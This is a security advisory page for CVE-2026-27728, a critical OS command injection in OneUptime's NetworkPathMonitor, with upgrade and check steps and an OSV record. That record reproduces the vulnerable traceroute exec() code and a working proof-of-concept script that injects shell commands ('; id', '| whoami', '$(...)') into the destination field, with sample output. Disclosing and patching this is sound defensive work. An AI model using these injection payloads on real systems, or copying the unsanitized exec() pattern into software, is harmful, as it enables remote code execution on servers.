CVE-2026-27728: OneUptime OS Command Injection Vulnerability
CRITICALCVE-2026-27728 is a CRITICAL (CVSS 9.9) os command injection vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting OneUptime libraries in the npm ecosystem. The issue involves os command injection in probe networkpathmonitor via unsanitized destination in traceroute exec(). Remediation is available by upgrading affected packages to version 10.0.7.
CVE-2026-27728 at a Glance
Security Impact
CVSS: 9.9
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-27728
To remediate this vulnerability, upgrade all affected OneUptime dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @oneuptime/common@10.0.7
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @oneuptime/common
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-27728, inspect your project dependencies using npm:
npm ls @oneuptime/common
Analyze the terminal output to locate any version of OneUptime in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 10.0.7), your application is affected.
Note: The npm ls @oneuptime/common command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In OneUptime, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-27728 Affected OneUptime Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@oneuptime/common
|
npm |
< 10.0.7
|
10.0.7
|
References
Frequently Asked Questions
What is CVE-2026-27728?
Which OneUptime versions are affected?
What version fixes CVE-2026-27728?
Is @oneuptime/common affected?
What is the CVSS score of CVE-2026-27728?
What CWE is associated with CVE-2026-27728?
How can I check npm dependencies for CVE-2026-27728?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-jmhp-5558-qxh5",
"modified" : "2026-02-27T20:55:31Z",
"published" : "2026-02-25T18:09:47Z",
"aliases" : [ "CVE-2026-27728" ],
"summary" : "OneUptime: OS Command Injection in Probe NetworkPathMonitor via unsanitized destination in traceroute exec()",
"details" : "## Summary\n\nAn OS command injection vulnerability in `NetworkPathMonitor.performTraceroute()` allows any authenticated project user to execute arbitrary operating system commands on the Probe server by injecting shell metacharacters into a monitor's destination field.\n\n## Details\n\nThe vulnerability exists in [`Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts`](Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts), lines 149–191.\n\nThe `performTraceroute()` method constructs a shell command by directly interpolating the user-controlled `destination` parameter into a string template, then executes it via `child_process.exec()` (wrapped through `promisify`):\n\n```typescript\n// Line 13 — exec imported from child_process\nimport { exec } from \"child_process\";\n\n// Line 15-17 — promisified into execAsync\nconst execAsync = promisify(exec);\n\n// Lines 149-191 — destination is never sanitized\nprivate static async performTraceroute(\n destination: string, // ← attacker-controlled\n maxHops: number,\n timeout: number,\n): Promise<TraceRoute> {\n // ...\n let command: string;\n if (isWindows) {\n command = `tracert -h ${maxHops} -w ${...} ${destination}`;\n } else if (isMac) {\n command = `traceroute -m ${maxHops} -w 3 ${destination}`;\n } else {\n command = `traceroute -m ${maxHops} -w 3 ${destination}`;\n }\n\n const tracePromise = execAsync(command); // ← shell execution\n```\n\nThe `destination` value originates from the public `trace()` method (line 31), which accepts `URL | Hostname | IPv4 | IPv6 | string` types. When a raw `string` is passed (line 47: `hostAddress = destination`), no validation or sanitization is performed before it reaches `performTraceroute()`.\n\n`child_process.exec()` spawns a shell (`/bin/sh`), so any shell metacharacters (`;`, `|`, `$()`, `` ` ` ``, `&&`, `||`, `\\n`) in `destination` will be interpreted, allowing full command injection.\n\n## PoC\n\n\n1. poc.cjs\n```javascript\n/**\n * PoC: OS Command Injection in OneUptime NetworkPathMonitor\n *\n * Replicates the exact vulnerable code path from\n * Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts:149-191\n */\n\nconst { exec } = require(\"child_process\");\nconst { promisify } = require(\"util\");\nconst execAsync = promisify(exec);\n\nasync function performTraceroute_VULNERABLE(destination, maxHops, timeout) {\n const isMac = process.platform === \"darwin\";\n const isWindows = process.platform === \"win32\";\n\n let command;\n if (isWindows) {\n command = `tracert -h ${maxHops} -w ${Math.ceil(timeout / 1000) * 1000} ${destination}`;\n } else if (isMac) {\n command = `traceroute -m ${maxHops} -w 3 ${destination}`;\n } else {\n command = `traceroute -m ${maxHops} -w 3 ${destination}`;\n }\n\n console.log(`[VULN] Constructed command: ${command}`);\n\n try {\n const { stdout, stderr } = await execAsync(command);\n return { stdout, stderr };\n } catch (err) {\n return { stdout: err.stdout || \"\", stderr: err.stderr || err.message };\n }\n}\n\nasync function runPoC() {\n console.log(\"=== Payload 1: Semicolon chaining (;) ===\");\n console.log(\" destination = '127.0.0.1; id'\\n\");\n const r1 = await performTraceroute_VULNERABLE(\"127.0.0.1; id\", 1, 5000);\n console.log(\"[stdout]:\", r1.stdout);\n\n console.log(\"\\n=== Payload 2: Pipe injection (|) ===\");\n console.log(\" destination = '127.0.0.1 | whoami'\\n\");\n const r2 = await performTraceroute_VULNERABLE(\"127.0.0.1 | whoami\", 1, 5000);\n console.log(\"[stdout]:\", r2.stdout);\n\n console.log(\"\\n=== Payload 3: Subshell execution $() ===\");\n console.log(\" destination = '127.0.0.1$(echo INJECTED)'\\n\");\n const r3 = await performTraceroute_VULNERABLE(\"127.0.0.1$(echo INJECTED)\", 1, 5000);\n console.log(\"[stderr]:\", r3.stderr);\n}\n\nrunPoC().catch(console.error);\n```\n\n2. Run the PoC:\n\n```bash\nnode poc.cjs\n```\n\n3. **Expected output** (confirmed on macOS with Node.js v25.2.1):\n\n```\n=== Payload 1: Semicolon chaining (;) ===\n destination = '127.0.0.1; id'\n\n[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1; id\n[stdout]: 1 localhost (127.0.0.1) 0.215 ms 0.076 ms 0.055 ms\nuid=501(dxleryt) gid=20(staff) groups=20(staff),12(everyone)...\n\n=== Payload 2: Pipe injection (|) ===\n destination = '127.0.0.1 | whoami'\n\n[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1 | whoami\n[stdout]: dxleryt\n\n=== Payload 3: Subshell execution $() ===\n destination = '127.0.0.1$(echo INJECTED)'\n\n[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1$(echo INJECTED)\n[stderr]: traceroute: unknown host 127.0.0.1INJECTED\n```\n\nThe `id` and `whoami` commands execute successfully, proving arbitrary command execution. The subshell payload proves inline shell evaluation — `$(echo INJECTED)` is evaluated and appended to the hostname.\n\n## Impact\n\n**Vulnerability type:** OS Command Injection (CWE-78)\n\n**Who is impacted:** Any authenticated user with the ability to create or edit a network path monitor in a OneUptime project can execute arbitrary operating system commands on the Probe server(s). In a multi-tenant SaaS deployment, this allows a malicious tenant to:\n\n- **Execute arbitrary commands** as the Probe service user (Remote Code Execution)\n- **Read sensitive files** from the Probe server (e.g., environment variables, credentials, service account tokens)\n- **Pivot to internal services** accessible from the Probe's network position\n- **Compromise other tenants' monitoring data** if Probes are shared across tenants\n- **Establish persistent backdoors** (reverse shells, cron jobs, SSH keys)\n\n> **Note:** The `NetworkPathMonitor` class is fully implemented and exported but not yet wired into the monitor execution pipeline (no callers import it). The vulnerability will become exploitable once this monitor type is integrated. The code is present in the current codebase and ready to be activated.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@oneuptime/common"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "10.0.7"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-jmhp-5558-qxh5"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27728"
}, {
"type" : "WEB",
"url" : "https://github.com/OneUptime/oneuptime/commit/f2cce35a04fac756cecc7a4c55e23758b99288c1"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/OneUptime/oneuptime"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-78" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-02-25T18:09:47Z",
"nvd_published_at" : "2026-02-25T17:25:40Z"
}
}